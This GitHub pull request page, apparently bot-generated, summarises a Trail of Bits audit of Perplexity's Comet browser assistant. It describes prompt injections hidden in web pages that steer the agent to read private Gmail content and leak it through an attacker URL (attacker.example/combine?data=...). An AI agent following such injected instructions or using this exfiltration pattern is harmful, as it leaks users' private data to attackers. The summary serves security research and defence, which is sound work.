Using threat modeling and prompt injection to audit Comet#1926
Open
carlospolop wants to merge 1 commit intomasterfrom
Open
Using threat modeling and prompt injection to audit Comet#1926carlospolop wants to merge 1 commit intomasterfrom
carlospolop wants to merge 1 commit intomasterfrom
Conversation
Collaborator
Author
🔗 Additional ContextOriginal Blog Post: https://blog.trailofbits.com/2026/02/20/using-threat-modeling-and-prompt-injection-to-audit-comet/ Content Categories: Based on the analysis, this content was categorized under "AI Security -> Prompt Injection (add subsection: Agentic browsing/tool-enabled prompt injection & data exfiltration patterns)". Repository Maintenance:
Review Notes:
Bot Version: HackTricks News Bot v1.0 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
🤖 Automated Content Update
This PR was automatically generated by the HackTricks News Bot based on a technical blog post.
📝 Source Information
🎯 Content Summary
Title / context
Trail of Bits performed a pre-launch security assessment (April 2025 audit) of Perplexity’s Comet browser, focusing on its LLM-powered “agentic browsing” sidebar assistant. Using an ML-centered threat modeling process (TRAIL) plus hands-on adversarial prompt-injection testing, they demonstrated multiple proof-of-concept (PoC) prompt injections that exfiltrate private Gmail email content to an attacker-controlled server when a user simply asks the assistant to summarize...
🔧 Technical Details
Tool-enabled prompt injection (confused deputy) in agentic browsers: If an AI browser agent can navigate, fetch URLs, read page content/history, and act like a user, then any untrusted webpage content that the model treats as instructions can drive those tools across trust boundaries. A common exploit pattern is: embed multi-step “how to summarize” procedures that force navigation to sensitive targets (often via redirects that reuse existing authenticated cookies), collect the resulting sensitive DOM/text, then exfiltrate it to an attacker-controlled endpoint.
Exfiltration via URL-encoded query parameters: A practical low-level channel is instructing the agent to visit an attacker URL like
https://attacker.example/combine?data=[URL_ENCODED_SECRET](or multiple fragment parameters). If the agent copies sensitive text (e.g., from an authenticated page) and URL-encodes it into the query string, the attacker receives the secret in server logs/requests wi...🤖 Agent Actions
Summary:
Tests:
This PR was automatically created by the HackTricks Feed Bot. Please review the changes carefully before merging.